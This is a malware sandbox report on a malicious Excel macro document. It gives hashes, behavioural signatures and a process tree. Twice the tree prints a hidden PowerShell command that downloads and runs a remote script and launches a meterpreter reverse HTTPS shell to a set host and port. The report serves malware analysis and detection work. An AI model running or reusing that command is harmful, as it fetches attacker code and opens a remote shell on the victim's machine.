Analysis
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max time kernel
37s -
max time network
14s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
09-07-2024 22:14
Behavioral task
behavioral1
Sample
832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls
Resource
win10v2004-20240709-en
General
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Target
832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls
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Size
44KB
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MD5
1e9ed7e79c0f48996fedb74189895ae6
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SHA1
e0f104e40847774f3ca32fff30bdfc4548691b02
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SHA256
832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284
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SHA512
2c648e9ef3e931ea9a0e182b75cc0d2db4d2ee478082ade6654f0d1e8b3cfc516c515031e260283c830b08f39ed1f946d1c7f468be18be99441cfbff8e3fc5e4
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SSDEEP
768:Ytvo+lzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSp5kuFlmQQpIvH9acc9acyL:IPk3hbdlylKsgqopeJBWhZFGkE+cL2N5
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5016 2024 powershell.exe 81 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 400 5064 wscript.exe 80 -
Blocklisted process makes network request 2 IoCs
flow pid Process 8 5016 powershell.exe 9 4832 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5016 powershell.exe 4832 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 raw.githubusercontent.com 8 raw.githubusercontent.com 9 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5064 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5016 powershell.exe 5016 powershell.exe 4832 powershell.exe 4832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5016 powershell.exe Token: SeDebugPrivilege 4832 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 5064 EXCEL.EXE 5064 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE 5064 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 5064 wrote to memory of 400 5064 EXCEL.EXE 86 PID 5064 wrote to memory of 400 5064 EXCEL.EXE 86 PID 400 wrote to memory of 4832 400 wscript.exe 87 PID 400 wrote to memory of 4832 400 wscript.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\832dc1da08ddc7f542938b77b768cd40c8b7eaf3a430c6058d8af80400515284.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:400 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4832
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD5c7e17711d27d3b993e7e0c13bd793324
SHA1b79d94c60b6104482368ad62045dd38457f4771e
SHA2563b9ee71736f2bd691e6c56e480a494176364b6098ef675201d4fe0af551f3371
SHA5127553c248bb0392a7ae9d76b0618aac96669db6131a6c4de8a1f74b80c911d17ec3232c6aa7bd25a7c029d4678654c421481c109eac682681a6e841331aae103c
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78